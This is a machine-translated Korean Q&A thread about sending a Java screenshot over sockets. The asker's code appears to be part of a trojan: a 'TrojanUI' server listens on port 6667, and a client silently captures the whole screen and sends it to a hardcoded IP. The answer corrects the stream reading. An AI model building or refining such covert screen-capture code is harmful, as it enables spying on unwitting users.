2016-12-20 1 views
3

장난 꾸러기 프로그램에 종사하고있는 Im 그러나 어쨌든 다소 유용합니다.자바 소켓을 통해 스크린 샷을 보내십시오

현재 IM에서 수행하려는 작업은 클라이언트에서 스크린 샷을 가져 와서 서버에서 스크린 샷을 JFrame으로 여는 것입니다.

많은 시도가 있은 후에, 나는이 미해결 된 질문 How to send images through sockets in java?을 발견했습니다.

캡쳐 화면이 나오지만 잘게 잘리고 120-135kb 정도면 끝납니다. 대답을 상단에 그는 연결을 닫습니다 전에 클라이언트 쪽에서 Thread.sleep()있다하지만 난 그것없이 그것을 시도하고 잘게 다가와서 그래서 그가 그것을 넣으면서 그것을 시도했지만 여전히 다시 잘게되었다. 입력 데이터를 읽는 클라이언트 클래스가 루프에 있고 100ms마다 실행되므로 너무 빠르게 반복되므로 1000ms로 늘렸고 여전히 잘게되었습니다.

나는 다른 답변과 같은 스레드에서 다른 무언가를 시도하고 ImageIO.read(new ByteArrayInputStream(imageAr))에 서버 측에 ImageIO.read(new ByteArrayInputStream(imageAr))을 변경하지만 시간이 더 이미지에 오지 않았다.

이 내가 시작했을 때 내가 시도 원래의 방법 중 하나 그러나 이것은 전혀 작동하지 않았습니다! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html.

서버

package UI; 

import java.awt.image.BufferedImage; 
import java.io.ByteArrayInputStream; 
import java.io.DataInputStream; 
import java.io.DataOutputStream; 
import java.io.File; 
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.nio.ByteBuffer; 
import javax.imageio.ImageIO; 
import javax.swing.ImageIcon; 
import javax.swing.JFrame; 
import javax.swing.JLabel; 

public class ViewScreen implements Runnable{ 
private static Thread t; 
@Override 
public void run(){ 
    //Screenshot Frame 
    final JFrame frame = new JFrame(); 
    frame.setSize(500, 500); 
    frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 
    t = new Thread(){ 
     public void run(){ 
      try{ 
       int port = 6667; 
       ServerSocket serverSocket = new ServerSocket(port); 
       Socket server = serverSocket.accept(); 
       TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n"); 
       DataInputStream in = new DataInputStream(server.getInputStream()); 
       DataOutputStream out = new DataOutputStream(server.getOutputStream()); 
       byte[] sizeAr = new byte[4]; 
       in.read(sizeAr); 
       int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get(); 

       byte[] imageAr = new byte[size]; 
       in.read(imageAr); 

       BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr)); 
       ImageIO.write(image, "jpg", new File("screen.jpg")); 
       server.close(); 
       JLabel label = new JLabel(); 
       label.setIcon(new ImageIcon(image)); 
       frame.getContentPane().add(label); 
      }catch(IOException e){ 
       e.printStackTrace(); 
      } 
     } 
    }; 
    t.start(); 
    frame.setVisible(true); 
} 
} 

서버 코드의이 부분은 새로운 소켓과 스크린 샷을 표시하는 새로운 JFrame의를 만들고, 새 스레드입니다. 내가 왜 이러는거야? 다른 스레드에서 소켓을 닫으면 이미지가 보내질 것이라고 읽었습니다. 그래서 메인 소켓을 닫으 려하지 않거나 연결이 끊어지기 때문에 스크린 샷을 스트리밍하기 위해서만 일시적으로 열리는 또 다른 소켓을 만들었습니다.

서버 측에서 클라이언트

package tc; 

import java.awt.AWTException; 
import java.awt.HeadlessException; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.image.BufferedImage; 
import java.io.ByteArrayOutputStream; 
import java.io.DataInputStream; 
import java.io.DataOutputStream; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.OutputStream; 
import java.net.Socket; 
import java.nio.ByteBuffer; 
import javax.imageio.ImageIO; 

public class SendScreen{ 
public SendScreen(){ 
    try{ 
     //creates new socket on port 6667 
     Socket sclient = new Socket("192.168.0.5",6667); 
     OutputStream sOutToServer = sclient.getOutputStream(); 
     DataOutputStream out = new DataOutputStream(sOutToServer); 
     InputStream sInFromServer = sclient.getInputStream(); 
     DataInputStream in = new DataInputStream(sInFromServer); 

     //Takes screenshot and sends it to server as byte array 
     BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())); 
     ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
     ImageIO.write(screencap,"jpg",baos); 

     //Gets screenshot byte size and sends it to server and flushes then closes the connection 
     byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array(); 
     out.write(size); 
     out.write(baos.toByteArray()); 
     out.flush(); 
     sclient.close(); 
    }catch(HeadlessException | AWTException | IOException e){ 
     e.printStackTrace(); 
    } 
} 
} 

내가 아무것도 통해 오는 경우 단지 문제를 해결하는 로컬 이미지를 생성 또 다른 라인을 추가했다. 사전

답변

3

에서

덕분에 당신은 read() 버퍼를 채우는 것을 가정하고 있습니다. 그렇게 말하는 스펙에는 없습니다. 이 시도 :

int size = in.readInt(); 
byte[] imageAr = new byte[size]; 
in.readFully(imageAr); 

readInt()readFully()는 정확한 양을 읽거나 시도에 실패을 보장합니다.

또한 보내는쪽에 힘든 시간을 보내고 있습니다. flush()close() 전에 중복이라고

out.writeInt(size); 
out.write(baos.toByteArray()); 
out.close(); 

주,하지만 당신은 자동 플러시 얻기 위해, 소켓이 아닌 소켓 주위의 바깥 쪽 출력 스트림을 닫아야이보십시오.

사실 각 이미지 다음에 연결을 닫으면 크기 단어와 바이트 배열 입출력 스트림을 제거하고 소켓에서 직접 /로 ImageIO.read/write을 처리 할 수 ​​있습니다. 그것은 많은 기억을 저장할 것입니다.

+0

이 변경으로보다 나은 결과를 얻었습니다.나는 실제로'size'를 바이트 배열과'read'에있는'size'로 보냈습니다. 화면의 대부분을 얻었지만 화면의 오른쪽과 아래가 캡처되지 않았습니다. 이것은 아마도 RDP로 원격 프로그래밍하는 것과 관련이 있습니다. 감사합니다. – xR34P3Rx

+0

공간 및 시간 비용 때문에 크기 단어와 바이트 배열 스트림이 제거됩니다. 단순한 것을 복잡하게하지 마십시오. – EJP

+0

hehe ... @EJP, 내가 뭐 물어 볼 수 있을까요? out.writeInt (size); out.write (baos.toByteArray()); out.close(); 은 괜찮습니다. 내가 크기 값을 얻지 않으면 ... 어디에서 가져 왔어? 이미지의 크기 또는 무언가? – gumuruh

관련 문제